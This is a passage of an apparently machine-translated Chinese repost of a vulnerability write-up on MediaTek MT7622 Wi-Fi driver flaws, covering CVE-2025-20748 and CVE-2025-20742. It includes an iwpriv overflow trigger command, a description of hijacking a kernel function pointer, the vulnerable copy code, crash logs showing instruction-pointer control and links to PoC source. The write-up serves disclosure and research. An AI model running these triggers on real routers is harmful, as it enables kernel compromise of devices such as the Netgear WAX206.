&Enable, &Mode, &wcid, &band_idx, &g0, &g1, &g2, &error_en, &obj->RxvFilePath[0]);
PoC：内核内存损坏
触发漏洞并损坏内存：
iwpriv ra0 set RxvRecordEn=1-1-0-1-5-1-5-5-$(python -c"print('A'*400)")
运行命令后，执行一个操作，该操作将向已注册的通知处理程序发送通知。一种简单的方法是通过 on 操作在接口上触发“链路断开”操作ifconfig ra0 down。另一种方法是使用 on 操作，它会重新初始化接口并触发通知调用。当访问接口设备结构体中 WifiSysInfo 结构体的损坏部分时，iwpriv ra0 set SSID=该函数应该会崩溃。mt_notify_call_chain()
PoC：内核IP控制
PoC来源：PoC链接-https://github.com/mellow-hype/mediarekt-2025/blob/main/cve-2025-20748.c
该概念验证利用漏洞破坏相邻WifiSysInfo对象，从而劫持内核执行流程。该对象包含指向struct notify_entry其他对象的链表，每个链表又包含一个指向特定地址的函数指针notify_entry.notify_caller。因此，破坏链表中的指针可以指向一个伪造struct notify_entry对象，并在嵌入式回调函数执行时利用该伪造对象劫持执行流程。该概念验证利用 iwpriv 子命令mac处理程序提供的内核信息泄露漏洞，确定内核中包含受控数据的内存地址，并写入一个伪造对象以使其与该结构对齐notify_entry。
执行 PoC 后，执行将被重定向到指定地址0x1337babe1337babe（已在MediaTek MT7622 AX3600-gmac1-WAX206开发板和 Linux 4.x 系统上测试）。以下输出显示已成功控制指令指针。
[ 2750.312397] [PMF]APPMFInit:: apidx=0, MFPC=1, MFPR=0, SHA256=0
[ 2750.318306] [PMF]PMF_MakeRsnIeGMgmtCipher: Insert BIP to the groupmanagement cipher of RSNIE
[ 2750.326896] wifi_sys_linkdown(), wdev idx = 0
[ 2750.331284] Internal error: Oops - SP/PC alignment exception: 8a000000 [#1] PREEMPT SMP
[ 2750.339278] Modules linked in: <snip>
[ 2750.463620] CPU: 0 PID: 13791 Comm: iwpriv Tainted: P 4.4.198 #0
[ 2750.470919] Hardware name: MediaTek MT7622 AX3600-gmac1-WAX206 board (DT)
[ 2750.477698] task: ffffffc01e641600 task.stack: ffffffc01e730000
[ 2750.483610] PC isat0x37babe1337babe
[ 2750.487424] LR isat mt_notify_call_chain+0x3c/0x58 [mt7622_mt_wifi]
[ 2750.493770] pc : [<0037babe1337babe>] lr : [<ffffff80010b213c>] pstate: 80000145
[ 2750.501154] sp : ffffffc01e733850
[ 2750.504461] x29: ffffffc01e733850 x28: ffffff80012074d8
[ 2750.509773] x27: ffffff80012d35b0 x26: ffffffc019bf2000
[ 2750.515085] x25: ffffff800ae7ac34 x24: ffffffc01dc38485
[ 2750.520397] x23: 0000000000000000 x22: 0000000000000001
[ 2750.525708] x21: 0000000000000005 x20: ffffffc01e7338b0
[ 2750.531020] x19: 0000000000000000 x18: 0000000000000001
[ 2750.536332] x17: 0000007f8633d340 x16: ffffff800815a0b0
[ 2750.541643] x15: 0000000000000000 x14: 00000064000001f4
[ 2750.546955] x13: 0000131100000000 x12: 0002ffba006e0200
[ 2750.552267] x11: 0000000000000000 x10: 0000040404010001
[ 2750.557578] x9 : 0000000604010100 x8 : ffffff800b370f28
[ 2750.562890] x7 : ffffff800ae75e88 x6 : ffffffc01e733a48
[ 2750.568202] x5 : 0000000000000040 x4 : 0000000000000000
[ 2750.573513] x3 : 1337babe1337babe x2 : ffffffc01e7338b0
[ 2750.578825] x1 : 0000000000000005 x0 : ffffffc0150fb010
[ 2750.584137]
CVE-2025-20742：FT_R1khEntryInsert 中的堆溢出漏洞
- 受影响版本：MT7915 v7.4.0.0、MT7629 v6.0.3.0
- 受影响设备：Netgear WAX206、Starlink Wifi Gen2
该漏洞是由于在将攻击者控制的值之一用作写入操作的大小参数之前，未对这些值进行边界检查而导致的FT_R1khEntryInsert()。该函数通过 ioctl 调用带有子命令/OID 的 RT_PRIV 命令来访问RT_SET_FT_KEY_RSP，并期望从用户空间发送的数据采用对象格式struct FT_KDP_EVT_KEY_ELM。该对象包含另一个嵌入式对象，其类型为FT_KDP_PMK_KEY_INFO，该对象的成员表示正在传输的实际密钥材料。这些成员包括一个静态大小的缓冲区R0KHID[48]和一个大小值R0KHIDLen，后者定义了数据的实际大小R0KHID[48]。
将用户空间的参数数据复制到内核分配的缓冲区后RTMPAPSetInformation()，这些数据会被传递给FT_KDP_KeyResponseToUs()处理程序进行处理。处理程序会对数据进行一些初始解析，然后将其强制转换为类型FT_KDP_EVT_KEY_ELM，并对结构体的某些值进行一些基本验证。之后，代码会继续调用处理程序FT_R1khEntryInsert()，并将指向客户端发送的关键元素结构体多个成员的指针传递给处理程序，包括 keyR0KHID和 R0KHIDLenkey 成员。
在代码中FT_R1khEntryInsert()，会分配一个内存空间来存储类型为 T 的对象的数据FT_R1HK_ENTRY（148 字节），并将作为参数传递给函数的值用于初始化新对象。当攻击者控制的键元素结构R0KHID体中的 T 字段被从源缓冲区复制到目标缓冲区时R0KHIDLen，如果未检查其大小是否超过目标缓冲区的大小（49 字节），则会出现此漏洞。TR0KHIDLen字段的类型FT_KDP_PMK_KEY_INFO为 T unsigned char，这意味着它可以容纳的最大值是 255，因此这也是攻击者可以选择的最大值。这会导致缓冲区溢出FT_KDP_PMK_KEY_INFO.R0khId[49]约 200 字节。
// @hypr: allocation of vulnerable obj
if (alloc_mem(p_obj, &entry, sizeof(FT_R1HK_ENTRY)) == NDIS_STATUS_FAILURE) {
// error case
}
...
if (pR0khId != NULL && R0KHIDLen > 0) {
entry->R0khIdLen = R0KHIDLen;
// @hypr: VULNERABLE
NdisMoveMemory(entry->R0khId, pR0khId, R0KHIDLen);
}
概念验证
PoC来源：PoC链接-https://github.com/mellow-hype/mediarekt-2025/blob/main/cve-2025-20742.c
附件中的示例代码（PoC）可用于触发此漏洞并导致类似PoC代码下方输出所示的崩溃。可能需要多次运行才能造成足够的内存损坏以导致崩溃，但通常会在3次运行内发生。注意：多次运行需要每次都更改填充字节参数，否则请求将不会被识别为新条目，也不会执行任何操作。
./poc 0x42
崩溃时会产生类似这样的输出：
[ 8566.183685] Unable to handle kernel paging request at virtual address 42424242424242
[ 8566.191426] pgd = ffffffc014989000
[ 8566.194820] [42424242424242] *pgd=0000000000000000, *pud=0000000000000000
[ 8566.201610] Internal error: Oops: 96000004 [#2] PREEMPT SMP
[ 8566.331494] CPU: 1 PID: 0 Comm: swapper/1 Tainted: P D 4.4.198#0
[ 8566.338707] Hardware name: MediaTek MT7622 AX3600-gmac1-WAX206 board (DT)
[ 8566.345486] task: ffffffc0030bee00 task.stack: ffffffc003100000
[ 8566.351402] PC is at __kmalloc+0x110/0x1f0
[ 8566.355489] LR is at __kmalloc+0x4c/0x1f0
[ 8566.359490] pc : [<ffffff8008143208>] lr : [<ffffff8008143144>] pstate: 60000145
[ 8566.366875] sp : ffffffc01ffb7b10
[ 8566.370181] x29: ffffffc01ffb7b10 x28: ffffff800a6d4fd0
[ 8566.375493] x27: ffffff800a671000 x26: 0000000080000100
[ 8566.380805] x25: ffffffc01ffb7d80 x24: 0000000000000005
[ 8566.386117] x23: 0000000000127169 x22: ffffff8000a3adc0
[ 8566.391429] x21: 0000000002080020 x20: 4242424242424242
我们已经编写了一个完整的 LPE 漏洞利用程序，利用了该漏洞以及其他几个针对 WAX206 的漏洞，该程序将与本文一同发布。更多详情将在后续博文中介绍 🙂
总结
就是这样！不过后续还有更多内容，包括对 CVE-2025-20742 完整攻击链的深入剖析，以及对本文未提及的几个影响 WPA EAPOL 处理程序且可远程利用的漏洞的深入研究！我还在整理今年早些时候为 QEMU PCI 设备编写的一些代码，用于模拟 MT7622（至少足以加载驱动程序并与 ioctl 处理程序交互），这对于调试和重现漏洞非常有用，因为我可以不受测试设备的限制。敬请期待 🙂
参考
- PoC代码
https://github.com/mellow-hype/mediarekt-2025
- 联发科安全公告 – 2025年2月
https://corp.mediatek.com/product-security-bulletin/February-2025
- 联发科安全公告 – 2025年10月
https://corp.mediatek.com/product-security-bulletin/October-2025
- 联发科安全公告 – 2025年11月
https://corp.mediatek.com/product-security-bulletin/November-2025
END
公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址
排版 编辑 | Ots 小安
采集 翻译 | Ots Ai牛马
公众号 | AnQuan7 (Ots安全)
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：Ots安全 《联发科 MT7622 无线网卡驱动程序的 19 个以上漏洞及 PoC》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论